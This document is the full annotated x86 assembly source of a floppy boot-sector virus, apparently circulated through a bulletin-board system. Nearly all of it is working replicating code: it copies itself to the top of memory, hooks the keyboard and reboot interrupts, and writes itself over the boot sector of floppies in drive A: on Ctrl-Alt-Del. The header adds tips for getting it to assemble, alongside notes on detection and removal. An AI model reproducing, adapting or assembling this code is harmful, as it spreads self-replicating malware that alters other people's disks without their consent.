;[2.9]
;-----------------------------------------------------------------------;
; This virus is of the "FLOPPY ONLY" variety.                           ;
; It replicates to the boot sector of a floppy disk and when it gains control
; it will move itself to upper memory.  It redirects the keyboard       ;
; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time  ;
; it will attempt to infect any floppy it finds in drive A:.            ;
; It keeps the real boot sector at track 39, sector 8, head 0           ;
; It does not map this sector bad in the fat (unlike the Pakistani Brain)
; and should that area be used by a file, the virus                     ;
; will die.  It also contains no anti detection mechanisms as does the  ;
; BRAIN virus.  It apparently uses head 0, sector 8 and not head 1      ;
; sector 9 because this is common to all floppy formats both single     ;
; sided and double sided.  It does not contain any malevolent TROJAN    ;
; HORSE code.  It does appear to contain a count of how many times it   ;
; has infected other diskettes although this is harmless and the count  ;
; is never accessed.                                                    ;
;                                                                       ;
; Things to note about this virus:                                      ;
; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
; is its primary (only for that matter) means of reproduction to other  ;
; floppy diskettes.  The only way to remove it from an infected system  ;
; is to turn the machine off and reboot an uninfected copy of DOS.      ;
; It is even resident when no floppy is booted but BASIC is loaded      ;
; instead.  Then when ALT-CTRL-DEL is pressed from inside of BASIC,     ;
; it activates and infectes the floppy from which the user is           ;
; attempting to boot.                                                   ;
;                                                                       ;
; Also note that because of the POP CS command to pass control to       ;
; its self in upper memory, this virus does not to work on 80286        ;
; machines (because this is not a valid 80286 instruction).             ;
;                                                                       ;
; If your assembler will not allow the POP CS command to execute, replace;
; the POP CS command with an NOP and then assemble it, then debug that  ;
; part of the code and place POP CS in place of NOP at that section.    ;
;                                                                       ;
; The Norton Utilities can be used to identify infected diskettes by    ;
; looking at the boot sector and the DOS SYS utility can be used to     ;
; remove it (unlike the Pakistani Brain).                               ;
;-----------------------------------------------------------------------;
                       ;
   ORG  7C00H               ;
                       ;
TOS LABEL     WORD           ;TOP OF STACK
;-----------------------------------------------------------------------;
; 1. Find top of memory and copy ourself up there. (keeping same offset);
; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
; 3. Redirect int 9 (keyboard) to ourself in top of memory              ;
; 4. Jump to ourself at top of memory                                   ;
; 5. Load and execute REAL boot sector from track 40, head 0, sector 8  ;
;-----------------------------------------------------------------------;
BEGIN:   CLI                 ;INITIALIZE STACK
   XOR  AX,AX               ;
   MOV  SS,AX               ;
   MOV  SP,offset TOS       ;
   STI                 ;
                       ;
   MOV  BX,0040H       ;ES = TOP OF MEMORY - (7C00H+512)
   MOV  DS,BX               ;
   MOV  AX,[0013H]          ;
   MUL  BX             ;
   SUB  AX,07E0H       ;   (7C00H+512)/16
   MOV  ES,AX               ;
                       ;
   PUSH CS             ;DS = CS
   POP  DS             ;
                       ;
   CMP  DI,3456H       ;IF THE VIRUS IS REBOOTING...
   JNE  B_10           ;
   DEC  Word Ptr [COUNTER_1]     ;...LOW&HI:COUNTER_1--
                       ;
B_10:    MOV  SI,SP     ;SP=7C00  ;COPY SELF TO TOP OF MEMORY
   MOV  DI,SI               ;
   MOV  CX,512              ;
   CLD                 ;
   REP  MOVSB               ;
                       ;
   MOV  SI,CX     ;CX=0          ;SAVE FIRST 32 INT VETOR ADDRESSES TO
   MOV  DI,offset BEGIN - 128    ;   128 BYTES BELOW OUR HI CODE
   MOV  CX,128              ;
   REP  MOVSB               ;
                       ;
   CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
                       ;
   PUSH ES   ;ES=HI    ;   JUMP TO OUR HI CODE WITH
   POP  CS
                       ;
   PUSH DS   ;DS=0     ;   ES = DS
   POP  ES             ;
                       ;
   MOV  BX,SP          ;   SP=7C00  ;LOAD REAL BOOT SECTOR TO 0000:7C00
   MOV  DX,CX          ;CX=0        ;DRIVE A: HEAD 0
   MOV  CX,2708H       ;   TRACK 40, SECTOR 8
   MOV  AX,0201H       ;   READ SECTOR
   INT  13H            ;   (common to 8/9 sect. 1/2 sided!)
   JB   $              ;   HANG IF ERROR
                       ;
   JMP  JMP_BOOT       ;JMP 0000:7C00
                       ;
;-----------------------------------------------------------------------;
; SAVE THEN REDIRECT INT 9 VECTOR                                       ;
;                                                                       ;
; ON ENTRY:   DS = 0                                                    ;
;        ES = WHERE TO SAVE OLD_09 & (HI)                               ;
;             WHERE NEW_09 IS         (HI)                              ;
;-----------------------------------------------------------------------;
PUT_NEW_09:                  ;
   DEC  Word Ptr [0413H]    ;TOP OF MEMORY (0040:0013) -= 1024
                       ;
   MOV  SI,9*4              ;COPY INT 9 VECTOR TO
   MOV  DI,offset OLD_09    ;   OLD_09 (IN OUR HI CODE!)
   MOV  CX,0004             ;
                       ;
   CLI                 ;
   REP  MOVSB               ;
   MOV  Word Ptr [9*4],offset NEW_09
   MOV  [(9*4)+2],ES        ;
   STI                 ;
                       ;
   RET                 ;
                       ;
;-----------------------------------------------------------------------;
; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR                              ;
;-----------------------------------------------------------------------;
ACK_KEYBD:                   ;
   IN   AL,61H              ;RESET KEYBOARD THEN CONTINUE
   MOV  AH,AL               ;
   OR   AL,80H              ;
   OUT  61H,AL              ;
   XCHG AL,AH               ;
   OUT  61H,AL              ;
   JMP  RBOOT               ;
                       ;
;-----------------------------------------------------------------------;
; DATA AREA WHICH IS NOT USED IN THIS VERSION                           ;
; REASON UNKNOWN                                                        ;
;-----------------------------------------------------------------------;
TABLE    DB   27H,0,1,2      ;FORMAT INFORMATION FOR TRACK 39
   DB   27H,0,2,2      ;   (CURRENTLY NOT USED)
   DB   27H,0,3,2      ;
   DB   27H,0,4,2      ;
   DB   27H,0,5,2      ;
   DB   27H,0,6,2      ;
   DB   27H,0,7,2      ;
   DB   27H,0,8,2      ;
                       ;
;A7C9A   LABEL     BYTE           ;
   DW   00024H              ;NOT USED
   DB   0ADH           ;
   DB   07CH           ;
   DB   0A3H           ;
   DW   00026H              ;
                       ;
;L7CA1:                      ;
   POP  CX             ;NOT USED
   POP  DI             ;
   POP  SI             ;
   POP  ES             ;
   POP  DS             ;
   POP  AX             ;
   POPF                ;
   JMP  1111:1111      ;
                       ;
;-----------------------------------------------------------------------;
; IF ALT & CTRL & DEL THEN ...                                          ;
; IF ALT & CTRL & ? THEN ...                                            ;
;-----------------------------------------------------------------------;
NEW_09:  PUSHF                    ;
   STI                 ;
                       ;
   PUSH AX             ;
   PUSH BX             ;
   PUSH DS             ;
                       ;
   PUSH CS             ;DS=CS
   POP  DS             ;
                       ;
   MOV  BX,[ALT_CTRL W]     ;BX=SCAN CODE LAST TIME
   IN   AL,60H              ;GET SCAN CODE
   MOV  AH,AL               ;SAVE IN AH
   AND  AX,887FH       ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
                       ;
   CMP  AL,1DH              ;IS IT A [CTRL]...
   JNE  N09_10              ;...JUMP IF NO
   MOV  BL,AH               ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
   JMP  N09_30              ;
                       ;
N09_10:  CMP  AL,38H              ;IS IT AN [ALT]...
   JNE  N09_20              ;...JUMP IF NO
   MOV  BH,AH               ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
   JMP  N09_30              ;
                       ;
N09_20:  CMP  BX,0808H       ;IF (CTRL DOWN & ALT DOWN)...
   JNE  N09_30              ;...JUMP IF NO
                       ;
   CMP  AL,17H              ;IF [I]...
   JE   N09_X0              ;...JUMP IF YES
   CMP  AL,53H              ;IF [DEL]...
   JE   ACK_KEYBD      ;...JUMP IF YES
                       ;
N09_30:  MOV  [ALT_CTRL],BX       ;SAVE SCAN CODE FOR NEXT TIME
                       ;
N09_90:  POP  DS             ;
   POP  BX             ;
   POP  AX             ;
   POPF                ;
                       ;
   DB   0EAH           ;JMP F000:E987
OLD_09   DW   ?              ;
   DW   0F000H              ;
                       ;
N09_X0:  JMP  N09_X1              ;
                       ;
;-----------------------------------------------------------------------;
;                                                                       ;
;-----------------------------------------------------------------------;
RBOOT:   MOV  DX,03D8H       ;DISABLE COLOR VIDEO !?!?
   MOV  AX,0800H       ;AL=0, AH=DELAY ARG
   OUT  DX,AL               ;
   CALL DELAY               ;
   MOV  [ALT_CTRL],AX  ;AX=0     ;
                       ;
   MOV  AL,3 ;AH=0          ;SELECT 80x25 COLOR
   INT  10H            ;
   MOV  AH,2           ;SET CURSOR POS 0,0
   XOR  DX,DX               ;
   MOV  BH,DH               ;   PAGE 0
   INT  10H            ;
                       ;
   MOV  AH,1           ;SET CURSOR TYPE
   MOV  CX,0607H       ;
   INT  10H            ;
                       ;
   MOV  AX,0420H       ;DELAY (AL=20H FOR EOI BELOW)
   CALL DELAY               ;
                       ;
   CLI                 ;
   OUT  20H,AL              ;SEND EOI TO INT CONTROLLER
                       ;
   MOV  ES,CX     ;CX=0 (DELAY)  ;RESTORE FIRST 32 INT VECTORS
   MOV  DI,CX               ;   (REMOVING OUR INT 09 HANDLER!)
   MOV  SI,offset BEGIN - 128    ;
   MOV  CX,128              ;
   CLD                 ;
   REP  MOVSB               ;
                       ;
   MOV  DS,CX     ;CX=0          ;DS=0
                       ;
   MOV  Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
   MOV  [(19H*4)+2],CS      ;
                       ;
   MOV  AX,0040H       ;DS = ROM DATA AREA
   MOV  DS,AX               ;
                       ;
   MOV  [0017H],AH     ;AH=0     ;KBFLAG (SHIFT STATES) = 0
   INC  Word Ptr [0013H]    ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
                       ;
   PUSH DS             ;IF BIOS F000:E502 == 21E4...
   MOV  AX,0F000H      ;
   MOV  DS,AX               ;
   CMP  Word Ptr [0E502H],21E4H  ;
   POP  DS             ;
   JE   R_90           ;
   INT  19H            ;   IF NOT...REBOOT
                       ;
R_90:    JMP  0F000:0E502H        ;...DO IT ?!?!?!
                       ;
;-----------------------------------------------------------------------;
; REBOOT INT VECTOR                                                     ;
;-----------------------------------------------------------------------;
NEW_19:  XOR  AX,AX               ;
                       ;
   MOV  DS,AX               ;DS=0
   MOV  AX,[0410]      ;AX=EQUIP FLAG
   TEST AL,1           ;IF FLOPPY DRIVES ...
   JNZ  N19_20              ;...JUMP
N19_10:  PUSH CS             ;ELSE ES=CS
   POP  ES             ;
   CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
   INT  18H            ;LOAD BASIC
                       ;
N19_20:  MOV  CX,0004             ;RETRY COUNT = 4
                       ;
N19_22:  PUSH CX             ;
   MOV  AH,00               ;RESET DISK
   INT  13             ;
   JB   N19_81              ;
   MOV  AX,0201             ;READ BOOT SECTOR
   PUSH DS             ;
   POP  ES             ;
   MOV  BX,offset BEGIN          ;
   MOV  CX,1           ;TRACK 0, SECTOR 1
   INT  13H            ;
N19_81:  POP  CX             ;
   JNB  N19_90              ;
   LOOP N19_22              ;
   JMP  N19_10              ;IF RETRY EXPIRED...LOAD BASIC
                       ;
;-----------------------------------------------------------------------;
; Reinfection segment.                                                  ;
;-----------------------------------------------------------------------;
N19_90:  CMP  DI,3456             ;IF NOT FLAG SET...
   JNZ  RE_INFECT      ;...RE INFECT
                       ;
JMP_BOOT:                    ;PASS CONTROL TO BOOT SECTOR
   JMP  0000:7C00H          ;
                       ;
;-----------------------------------------------------------------------;
; Reinfection Segment.                                                  ;
;-----------------------------------------------------------------------;
RE_INFECT:                   ;
   MOV  SI,offset BEGIN          ;COMPARE BOOT SECTOR JUST LOADED WITH
   MOV  CX,00E6H       ;   OURSELF
   MOV  DI,SI               ;
   PUSH CS             ;
   POP  ES             ;
   CLD                 ;
   REPE CMPSB               ;
   JE   RI_12               ;IF NOT EQUAL...
                       ;
   INC  Word Ptr ES:[COUNTER_1]  ;INC. COUNTER IN OUR CODE (NOT DS!)
                       ;
;MAKE SURE TRACK 39, HEAD 0 FORMATTED  ;
   MOV  BX,offset TABLE          ;FORMAT INFO
   MOV  DX,0000             ;DRIVE A: HEAD 0
   MOV  CH,40-1             ;TRACK 39
   MOV  AH,5           ;FORMAT
   JMP  RI_10               ;REMOVE THE FORMAT OPTION FOR NOW !
                       ;
; <<< NO EXECUTION PATH TO HERE >>>    ;
   JB   RI_80               ;
                       ;
;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
RI_10:   MOV  ES,DX               ;ES:BX = 0000:7C00, HEAD=0
   MOV  BX,offset BEGIN          ;TRACK 40H
   MOV  CL,8           ;SECTOR 8
   MOV  AX,0301H       ;WRITE 1 SECTOR
   INT  13H            ;
                       ;
   PUSH CS             ;   (ES=CS FOR PUT_NEW_09 BELOW)
   POP  ES             ;
   JB   RI_80               ;IF WRITE ERROR...JUMP TO BOOT CODE
                       ;
   MOV  CX,0001             ;WRITE INFECTED BOOT SECTOR !
   MOV  AX,0301             ;
   INT  13H            ;
   JB   RI_80               ;   IF ERROR...JUMP TO BOOT CODE
                       ;
RI_12:   MOV  DI,3456H       ;SET "JUST INFECTED ANOTHER ONE"...
   INT  19H            ;...FLAG AND REBOOT
                       ;
RI_80:   CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
   DEC  Word Ptr ES:[COUNTER_1]  ;   (DEC. CAUSE DIDNT INFECT)
   JMP  JMP_BOOT       ;
                       ;
;-----------------------------------------------------------------------;
;                                                                       ;
;-----------------------------------------------------------------------;
N09_X1:  MOV  [ALT_CTRL],BX       ;SAVE ALT & CTRL STATUS
                       ;
   MOV  AX,[COUNTER_1]      ;PUT COUNTER_1 INTO RESET FLAG
   MOV  BX,0040H       ;
   MOV  DS,BX               ;
   MOV  [0072H],AX          ;   0040:0072 = RESET FLAG
   JMP  N09_90              ;
                       ;
;-----------------------------------------------------------------------;
; DELAY                                                                 ;
;                                                                       ;
; ON ENTRY    AH:CX = LOOP COUNT                                        ;
;-----------------------------------------------------------------------;
DELAY:   SUB  CX,CX               ;
D_01:    LOOP $              ;
   SUB  AH,1           ;
   JNZ  D_01           ;
   RET                 ;
                       ;
;-----------------------------------------------------------------------;
;                                                                       ;
;-----------------------------------------------------------------------;
A7DF4         DB   27H,00H,8,2

COUNTER_1     DW   001CH
ALT_CTRL      DW   0
A7DFC         DB   27H,0,8,2

Downloaded From P-80 International Information Systems 304-744-2253